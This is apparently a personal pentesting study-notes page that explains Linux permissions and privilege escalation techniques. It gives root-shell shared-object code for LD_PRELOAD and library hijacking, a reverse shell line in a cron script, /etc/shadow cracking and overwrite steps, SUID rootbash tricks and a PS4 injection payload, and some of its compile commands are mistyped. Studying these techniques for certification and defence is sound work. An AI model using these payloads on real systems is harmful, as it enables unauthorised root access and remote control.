Hacker Kayra
  • 📍Introduction Page
  • ⭐Learning Process
    • 🧠Learning Mindset
    • 🖇️Learning Dependencies
    • 🧮Learning Process
  • 🔠Fundamentals
    • 🛜Networking Fundamentals
    • 🐧Linux Fundamentals
    • 🪟Windows Fundamentals
    • 🕵️Active Directory
    • 🕸️Introduction to Web Applications
    • 🗃️Other Useful Concepts
      • Regular Expressions (RegEx)
    • Cyber Security Products
      • Lab Setup
      • ✅Fortigate Firewall
      • MDM Lab
      • IAM Lab
      • PAM Lab
      • DLP Lab
  • 🧰Tools
    • Nmap
    • Nessus
    • Ffuf
    • Hydra
    • John The Ripper
  • ✍️Write Ups
    • 🗃️Hack The Box Machines
      • 🐧Linux
        • Code
    • 🗃️Proving Grounds Boxes
      • 🐧Linux
        • Stapler
        • eLection
        • Loly
        • Blogger
        • Potato
        • Amaterasu
        • Exfiltrated
        • Pelican
        • Astronaut
        • Cockpit
        • Levram
        • Extplorer
        • LaVita
        • pc
        • Scrutiny
        • Zipper
        • Flu
        • Twiggy
        • Codo
        • Crane
        • Hub
        • BlackGate
        • Boolean
        • ClamAV
        • PayDay
        • Snookums
        • Bratarina
        • Nibbles
      • 🪟Windows
        • Algernon
        • AuthBy
        • Craft
        • Kevin
        • Squid
        • Jacko
        • DVR4
        • Hepet
        • Shenzi
        • Nickel
        • Slort
        • MedJed
        • Active Directory
          • Access
          • Vault
    • 🪪Certificates
      • Certified Professional Penetration Tester (eCPPTv3)
      • Web Application Penetration Tester eXtreme (eWPTXv3)
    • 🚩CTF Events
      • Cyber Hub 2025 CTF
  • 📚Study Notes
    • Penetration Tester (HTB CPTS)
      • Penetration Testing Process
      • Reconnaissance, Enumeration & Attack Planning
        • Network Enumeration with Nmap (Continue Here)
        • Footprinting (Just Do Formatting)
        • Vulnerability Scanning (Check)
        • File Transfers
        • Using the Metasploit Framework
        • Web Information Gathering
        • Shells & Payloads
      • Exploitation & Lateral Movement
        • Attacking Common Services (Just Do Formatting)
        • Password Attacks
        • Active Directory Enumeration & Attacks (TBC)
        • Pivoting, Tunneling, and Port Forwarding
      • Web Exploitation
        • Using Web Proxies (Check)
        • Attacking Web Applications With Ffuf (Check)
        • Login Bruteforcing
        • Cross-Site Scripting (XSS)
        • Command Injection
        • SQL Injection
        • File Upload Attacks
        • File Inclusion
        • Web Attacks (Check)
        • Attacking Common Applications (Check)
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation (TBC)
      • Documentation & Reporting
  • 🧑‍💻Other
    • Leet Code
      • Quick Guide: Big-O Notation
      • Problem 01 - Two Sum
    • Data Structure & Algorithms (DSA)
  • 🗄️Archive/Backup/Bin
    • Sysmon Usecases (IBM)
    • 🐧Linux Fundamentals (TryHackMe)
      • Introduction
      • Basic Commands
      • Wildcards & Operators
      • Permissions
      • Common Directories
      • Terminal Text Editors
      • General/Useful Utilities
    • 🪟Windows Fundamentals (TryHackMe)
      • Introduction
      • The File System
      • User Accounts
      • Settings & Control Panel & Task Manager
      • System Configuration
    • Active Directory (TryHackMe)
      • Breaching Active Directory
    • FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics
      • Book 2 - Intrusion Analysis
        • Credential Theft
        • Event Log Analysis for Responders and Hunters
    • Certified Threat Hunting Professional (eCTHPv2)
      • Threat Hunting: Hunting the Endpoint & Endpoint Analysis
        • Event IDs, Logging, & SIEMs
    • OSCP
      • Report Writing
      • ✅Passive Information Gathering
      • ✅Active Information Gathering
      • ✅Vulnerability Scanning
      • Introduction to Web Application Attacks
      • Common Web Application Attacks
        • ✅Cross-Site Scripting (XSS)
        • ✅Directory Traversal
        • ✅File Inclusion
        • ✅File Upload Vulnerabilities
        • Command Injection
        • SQL Injection Attacks
        • Client Side Attacks
      • ✅Locating Public Exploits
      • ✅Exploiting Walkthrough
      • Fixing Exploits
      • ✅Antivirus Evasion
      • Password Attacks
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • Port Redirection and SSH Tunneling
      • Tunneling Through Deep Packet Inspection
      • The Metasploit Framework
      • Active Directory Introduction & Enumeration
      • Attacking Active Directory Authentication
      • Lateral Movement in Active Directory
      • Assembling the Pieces
      • Other General Information
    • ⚡Port Swigger (Web Penetration Testing)
      • ✅Information Disclosure
      • ✅Path Traversal (Directory Traversal)
      • ✅OS Command Injection
      • Business Logic Vulnerabilities
      • ✅Authentication
      • ✅Access Control
    • Certified Bug Bounty Hunter (CBBH)
      • Web Requests
        • HTTP Fundamentals
    • Getting Started
      • Introduction
      • Pentesting Basics
    • Certified Penetration Testing Specialist (CPTS)
      • Introduction
        • ✅Penetration Testing Process
          • Penetration Testing Overview
          • Laws & Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
          • Academy Module Layout
        • Getting Started with Hack The Box (HTB)
      • Reconnaissance, Enumeration & Attack Planning
        • ✅Network Enumeration with Nmap
          • Enumeration & Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving The Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Scanning Performance
          • Firewall and IDS/IPS Evasion
        • Footprinting
        • ✅Information Gathering - Web Edition
          • Introduction
          • Passive Information Gathering
          • Active Information Gathering
        • Vulnerability Assessment
        • File Transfers
        • Shells & Payloads
        • Using the Metasploit Framework
      • Exploitation & Lateral Movement
        • Password Attacks
        • Attacking Common Services
        • Pivoting, Tunneling, and Port Forwarding
        • Active Directory Enumeration & Attacks
      • Web Exploitation
        • Using Web Proxies
        • ✅Attacking Web Applications with Ffuf
        • ✅Login Brute Forcing
        • SQL Injection Fundamentals
        • SQLMap Essentials
        • Cross-Site Scripting (XSS)
        • File Inclusion
        • File Upload Attacks
        • Command Injections
        • Web Attacks
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • Reporting & Capstone
        • Documentation & Reporting
        • Attacking Enterprise Networks
    • Old Active Directory
    • Tib3rius Privilege Escalation
      • Linux Privilege Escalation
    • HTB Archived Write-Ups (Check)
      • Irked
      • Nibbles
      • Brainfuck
      • Lame (Check)
    • 📋Cheat Sheets
      • Penetration Testing Cheat Sheet (In Progress)
Powered by GitBook
On this page
  • Introduction
  • Understanding Linux Permissions
  • User Accounts and Identification
  • Group Configuration
  • File and Directory Permissions
  • Special Permissions
  • Viewing Permissions
  • Privilege Escalation Techniques
  • Kernel Exploits
  • Services Exploits
  • Weak File Permissions
  • Sudo Exploitation
  • Environment Variables Exploitation
  • Cron Jobs
  • Filename Expansion and Wildcard Exploitation
  • SUID & SGID
  • Passwords & Keys
  • NFS Exploitation
  • Strategy and Best Practices
  1. Archive/Backup/Bin
  2. Tib3rius Privilege Escalation

Linux Privilege Escalation

Our ultimate goal in privilege escalation is to obtain a shell running as the root user.

Introduction

Understanding Linux Permissions

  • Linux permissions revolve around the relationship between users, groups, and files/directories:

    • Users: Can belong to multiple groups.

    • Groups: Can include multiple users.

    • Files & Directories: Define permissions for three classes:

      • Owner (User)

      • Group

      • Others (Everyone else)

User Accounts and Identification

  • Configuration Files:

    • User accounts are stored in /etc/passwd.

    • Password hashes reside in /etc/shadow.

  • User IDs (UIDs):

    • Every user is identified by an integer UID.

    • The special root user has a UID of 0 and is granted access to all files.

  • Types of User IDs:

    • Real ID: The original ID assigned to the user.

    • Effective ID: Typically equal to the real ID; it is used in most access control decisions (e.g., the whoami command).

    • Saved ID: Allows SUID processes to switch the effective ID back to the real ID temporarily and then restore it.

Group Configuration

  • Group Information:

    • Groups are defined in /etc/group.

    • Every user has a primary group (usually with the same name as their user account) and may belong to additional secondary (or supplementary) groups.

File and Directory Permissions

  • Each file and directory in Linux is associated with a single owner and group. Permissions control the allowed operations:

    • Permission Types:

      • Read (r): View the file’s content.

      • Write (w): Modify the file’s content.

      • Execute (x): Run the file as a process.

  • Permission Sets:

    • Owner

    • Group

    • Others (sometimes called "world")

  • Changing Permissions: Only the owner can change a file or directory’s permissions.

Special Considerations for Directory Permissions

Directory permissions work a bit differently:

  • Execute (x): Allows a user to enter the directory. Without it, neither read nor write permissions will function.

  • Read (r): Permits listing the directory’s contents.

  • Write (w): Enables creation of files and subdirectories.

Special Permissions

  • Linux also supports special permission bits that modify standard behavior:

    • setuid (SUID) Bit: When set on a file, the file executes with the privileges of its owner.

    • setgid (SGID) Bit:

      • On files, it causes the file to execute with the privileges of its group.

      • On directories, any file created inside inherits the directory’s group.

Viewing Permissions

  • Use the ls -l command to view permissions:

    • First Character: Indicates the type of file:

      • - for a regular file.

      • d for a directory.

    • Next 9 Characters: Represent three sets of permissions (owner, group, others): Each set includes r (read), w (write), and x (execute).

    • Special Permissions:

      • An s in the execute position denotes SUID/SGID permissions.

Privilege Escalation Techniques

Kernel Exploits

  • Kernels are the core of any operating system, acting as an intermediary between application software and the hardware. Since the kernel controls all system operations, exploiting a vulnerability in it can allow you to execute code as the root user.

Steps to exploit a kernel vulnerability:

  1. Enumerate the kernel version:

    uname -a
  2. Compile and run the exploit.

Kernel exploits can be unstable, sometimes working only once or even crashing the system.

  • You can also use tools like the Linux Exploit Suggester. For example, run it against a specific kernel version:

./linux-exploit-suggester-2.pl -k 2.6.32

Services Exploits

  • Services are background programs that handle tasks or inputs. If any service running as root is vulnerable, exploiting it may result in root-level command execution.

Steps for service-based escalation:

  • Identify processes running as root:

    ps aux | grep "^root"
  • Determine the service version: Many services reveal their version with command-line options:

    <program> --version
    <program> -v
  • On Debian-based systems:

    dpkg -l | grep <program>
  • On RPM-based systems:

    rpm -qa | grep <program>
  • Use the same research resources (Searchsploit, Google, GitHub) to find corresponding exploits.

Weak File Permissions

  • Insecure file permissions can be exploited in several ways:

    • Information Disclosure: Reading confidential files might reveal credentials or system information.

  • File Modification: Modifying a system file can change system behavior to grant elevated privileges.

Examples:

  • Finding weak permissions:

    • Find writable files in /etc:

      find /etc -maxdepth 1 -writable -type f
    • Find readable files in /etc:

      find /etc -maxdepth 1 -readable -type f
    • Find writable directories:

      find / -executable -writable -type d 2> /dev/null
  • /etc/shadow Exploitation: The /etc/shadow file stores user password hashes and is normally only readable by root. If you can read it, you might use tools like John the Ripper to crack a password:

    john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

    Alternatively, if you can modify it, replace the root hash with one you know:

    • Generate a new SHA-512 hash:

      mkpasswd -m sha-512 newpassword
    • Replace the root entry in /etc/shadow

  • /etc/passwd Manipulation: Historically, /etc/passwd held password hashes. If a hash is present in the second field, it overrides /etc/shadow.

    • Normal root entry:

      root:x:0:0:root:/root:/bin/bash
    • Misconfigured entry (no password):

      root::0:0:root:/root:/bin/bash

  • If you have write access, you can replace or append a new user with UID 0 (No Password).

Sudo Exploitation

  • The sudo program allows users to run commands with another user's privileges—by default, root. Access is controlled by rules in the /etc/sudoers file.

Basic sudo usage:

  • Run a program:

    sudo <program>
  • Run a program as a specific user:

    sudo -u <username> <program>
  • List allowed commands:

    sudo -l
  • If your account can run commands with sudo without restrictions, you can escalate privileges easily:

sudo su
  • Other alternatives include:

sudo -s
sudo -i
sudo /bin/bash
sudo passwd

Environment Variables Exploitation

  • Programs run with sudo can inherit your environment variables. When env_reset is set in /etc/sudoers, the environment is minimized, but env_keep can allow certain variables to persist.

Using LD_PRELOAD

  • LD_PRELOAD can force the dynamic loader to load a custom shared object before any others. With a custom .so file containing an init() function, you can execute code immediately.

  1. Create a custom shared object:

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0, 0, 0);
        system("/bin/bash -p");
    }
  2. Compile your shared object and run:

    gcc-fPIC-shared -nostartfiles-o <cFileName> <OutputFile>
    sudo LD_PRELOAD=/tmp/<CompiledFileName> apache2

Hijacking Libraries with LD_LIBRARY_PATH

  • LD_LIBRARY_PATH specifies directories where shared libraries are searched first. You can hijack a library by:

  • Listing libraries used by a program:

    ldd /usr/sbin/apache2
  • Creating a custom shared library:

    #include <stdio.h>
    #include <stdlib.h>
    static void hijack() __attribute__((constructor));
    void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0, 0, 0);
        system("/bin/bash -p");
    }
  • Compile the shared library:

    gcc -o <cFileName> -shared -fPIC <OutputFile>
  • Run the target program:

    sudo LD_LIBRARY_PATH=. apache2

Cron Jobs

  • Cron jobs are scheduled tasks that run with the privileges of the owning user. They often run with limited environments, making misconfigurations a potential privilege escalation avenue.

  • Crontab locations:

    • User crontabs: /var/spool/cron/ or /var/spool/cron/crontabs/

    • System-wide crontab: /etc/crontab

  • Misconfigured permissions: If you can write to a script or program executed by cron, replace it with your own code.

Example: Overwriting a world-writable script

  1. Locate the script:

    locate overwrite.sh
  2. Check permissions:

    ls -l /usr/local/bin/overwrite.sh
  3. Replace its contents:

    #!/bin/bash
    bash -i >& /dev/tcp/192.168.1.26/53 0>&1

PATH manipulation in cron:

  • If the crontab’s PATH includes writable directories, you can place a malicious script there:

  • Example system-wide crontab excerpt:

    PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    * * * * * root overwrite.sh
  • In /home/user, create an executable overwrite.sh:

    #!/bin/bash
    cp /bin/bash /tmp/rootbash
    chmod +s /tmp/rootbash
  • Make it executable:

    chmod +x /home/user/overwrite.sh

Filename Expansion and Wildcard Exploitation

  • When you use wildcards (e.g., *) in commands, the shell expands them into a list of files. This behavior can be exploited if filenames conflict with command-line options.

  • Exploiting filename expansion:

    • Create a file named with a command-line flag:

      touch ./-l
    • When running a command like ls -l, the shell will pass the file, -l as an argument.

SUID & SGID

  • SUID (Set User ID) and SGID (Set Group ID) files run with the privileges of their owner or group, respectively. When these files are owned by root, they execute with root privileges.

Finding SUID/SGID Files

  • You can locate files with SUID or SGID bits set using the following command:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  • Certain programs install SUID files as part of their normal operation. Just as with vulnerable services, these files may be exploited for a root shell if vulnerabilities exist. Exploits for SUID/SGID binaries can be found using resources like Searchsploit, Google, or GitHub.

Environment variable tricks such as LD_PRELOAD or LD_LIBRARY_PATH that work with sudo are disabled by default for SUID files to prevent abuse.

Shared Object Injection

  • When a program runs, it attempts to load required shared objects.

  • By using tools like strace, you can monitor these system calls and detect missing shared objects. If you have write access to the location where the program expects the shared object, you can create a malicious one that spawns a root shell.

Example Process:

  1. Locate SUID/SGID Files:

    find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

  2. Trace the File Execution: Run strace on the target SUID file to check for missing shared objects:

    trace /usr/local/bin/<File-Name> 2>&1 | grep -iE "open|access|no such file"

    You might see an output similar to:

    access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
    open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

    This indicates that the program is attempting to load libcalc.so from a directory you control.

  3. Prepare the Environment: Create the directory:

    mkdir -p /home/user/.config
  4. Create the Malicious Shared Object: Create a file named libcalc.c with the following contents:

    #include <stdio.h>
    #include <stdlib.h>
    static void inject() __attribute__((constructor));
    void inject() {
        setuid(0);
        system("/bin/bash -p");
    }
  5. Compile the Shared Object:

    gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
  6. Execute the SUID File: Running the vulnerable binary should now load your shared object and spawn a root shell:

    /usr/local/bin/suid-so

PATH Hijacking and Environment Variables

  • When a program executes another program, it searches the directories listed in the PATH environment variable. Since users control their own PATH, you can manipulate it so that a malicious program is found first.

Key Techniques

  • Extracting Embedded Strings: Use strings to reveal paths or command names embedded in an executable:

    strings /path/to/file
  • Tracing Executions: Tools such as strace and ltrace can help determine which binaries are being called:

    strace -v -f -e execve <command> 2>&1 | grep exec
    ltrace <command>

Exploiting a SUID Binary Using PATH

  1. Identify the Command: Run strings on the SUID file (e.g., /usr/local/bin/suid-env) and look for a command. e.g: service apache2 start.

  2. Verify with strace:

    strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
  3. Create a Custom Executable: Write a simple C program (e.g., system.c) to spawn a shell:

    #include <stdlib.h>
    #include <unistd.h>
    int main() {
        setuid(0);
        system("/bin/bash -p");
        return 0;
    }

    Compile it:

    gcc -o service system.c
  4. Manipulate PATH and Execute: Prepend the directory containing your compiled binary to PATH:

    PATH=.:$PATH /usr/local/bin/suid-env

    This should result in a root shell.

Using Bash Functions

  • On shells such as Bash versions earlier than 4.2-048, you can define and export functions that override system executables:

  1. Check Bash Version:

    bash --version
  2. Define and Export a Function:

    function /usr/sbin/service { /bin/bash -p; }
    export -f /usr/sbin/service
  3. Execute the Vulnerable Binary:

    /usr/local/bin/suid-env2

    If successful, you should receive a root shell.

Bash Debugging Mode Exploitation

  • Bash’s debugging mode (enabled via -x or the SHELLOPTS variable) uses the PS4 variable to prefix debug output. You can embed a payload in PS4 that runs with elevated privileges if inherited by a SUID process (note that Bash 4.4+ does not inherit PS4 in root shells).

  1. Run with Debugging Environment Variables:

    env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2
  2. Invoke the New Shell:

    /tmp/rootbash -p

Passwords & Keys

Weak password storage and reuse can provide unexpected escalation paths:

  • Configuration Files: Some services store passwords in plaintext. If the root password is reused for a service, you might be able to obtain it from a config file.

  • History Files: Command histories can inadvertently save passwords. Reviewing these files might reveal credentials.

  • SSH Keys: SSH authentication uses key pairs. If a user’s private key is stored insecurely (for example, in a world-readable file), an attacker can use it to gain access.

NFS Exploitation

  • NFS (Network File System) allows remote mounting of file systems and can introduce privilege escalation risks.

  • NFS Shares: Configured in /etc/exports, these shares allow remote users to mount and interact with files. Created files inherit the remote user’s UID and GID.

  • Listing NFS Exports:

    showmount -e <target>

    Alternatively, use an Nmap script:

    nmap -sV --script=nfs-showmount <target>
  • Mounting an NFS Share:

    mount -o rw,vers=2 <target>:<share> <local_directory>
  • Root Squashing: By default, NFS “squashes” remote root (uid=0) to the “nobody” user. However, if the no_root_squash option is enabled in a writable share, a remote user claiming to be root can create files with root ownership.

Strategy and Best Practices

When performing privilege escalation, a methodical approach is key. Consider the following steps:

  1. Initial Enumeration:

    • Check your current user and group IDs using:

      id
      whoami
    • Run enumeration tools such as Linux Smart Enumeration (LSE) and LinEnum.

  2. Review and Organize Results:

    • Save and review your enumeration dumps.

    • Create a checklist of findings that could enable escalation.

  3. Focus on Low-Hanging Fruit:

    • Start with simpler methods such as misconfigured sudo rules, cron jobs, or SUID files.

    • Verify root process versions and search for known exploits.

  4. Examine Configuration Files and History:

    • Look in common locations (e.g., user home directories, /var/backups, /var/logs).

    • Inspect command history files for inadvertent credential disclosure.

  5. Network and Process Analysis:

    • Check for services running with elevated privileges.

    • Identify internal ports that might be forwarded to your machine.

  6. Revisit and Reassess:

    • If initial attempts fail, re-read your enumeration outputs.

    • Pay attention to unusual filesystem types or unfamiliar process names.

    • Consider more advanced kernel exploits if all else fails.

PreviousTib3rius Privilege EscalationNextHTB Archived Write-Ups (Check)

Last updated 2 months ago

Find matching exploits: Search using resources like Google, , or GitHub.

Even with restrictions, some programs have shell escape sequences. Check for potential methods.

Filenames can match complex options (e.g., --option=key=value). Consult for more details on which commands can be leveraged using their escape options.

🗄️
ExploitDB
GTFOBins
GTFOBins